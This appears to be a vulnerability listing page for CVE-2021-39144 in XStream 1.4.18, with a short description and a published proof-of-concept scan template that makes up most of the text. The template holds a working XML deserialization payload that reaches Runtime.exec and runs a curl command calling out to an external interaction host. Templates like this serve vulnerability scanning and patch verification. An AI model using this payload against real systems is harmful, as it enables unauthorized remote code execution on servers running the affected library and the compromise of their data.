CVE-2021-39144: XStream 1.4.18 - Remote Code Execution

日期: 2025-08-01 | 影响软件: XStream 1.4.18 | POC: 已公开

漏洞描述

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.

PoC代码[已公开]

id: CVE-2021-39144

info:
  name: XStream 1.4.18  - Remote Code Execution
  author: pwnhxl,vicrack
  severity: high
  description: |
    XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade XStream to a version that is not affected by CVE-2021-39144.
  reference:
    - https://x-stream.github.io/CVE-2021-39144.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-j9h8-phrw-h4fh
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/cve-2021-39144
    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39144
    cwe-id: CWE-306,CWE-502
    epss-score: 0.94412
    epss-percentile: 0.99975
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,deserialization,rce,kev,xstream_project

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <dynamic-proxy>
              <interface>java.lang.Comparable</interface>
              <handler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Comparable</providerType>
                <probes>
                  <entry>
                    <method>
                      <class>java.lang.Comparable</class>
                      <name>compareTo</name>
                      <parameter-types>
                        <class>java.lang.Object</class>
                      </parameter-types>
                    </method>
                    <sun.tracing.dtrace.DTraceProbe>
                      <proxy class='java.lang.Runtime'/>
                      <implementing__method>
                        <class>java.lang.Runtime</class>
                        <name>exec</name>
                        <parameter-types>
                          <class>java.lang.String</class>
                        </parameter-types>
                      </implementing__method>
                    </sun.tracing.dtrace.DTraceProbe>
                  </entry>
                </probes>
              </handler>
            </dynamic-proxy>
            <string>curl http://{{interactsh-url}}</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a00473045022100aa77f11888155f7898daa24be290e87ed23f6334bfdd52f5f764ad92c351201a0220075617b3a1dda9185ba63a6f7acbf9f3fa4b223b192b543190357f55eebbff7b:922c64590222798bb761d5b6d8e72950

相关漏洞推荐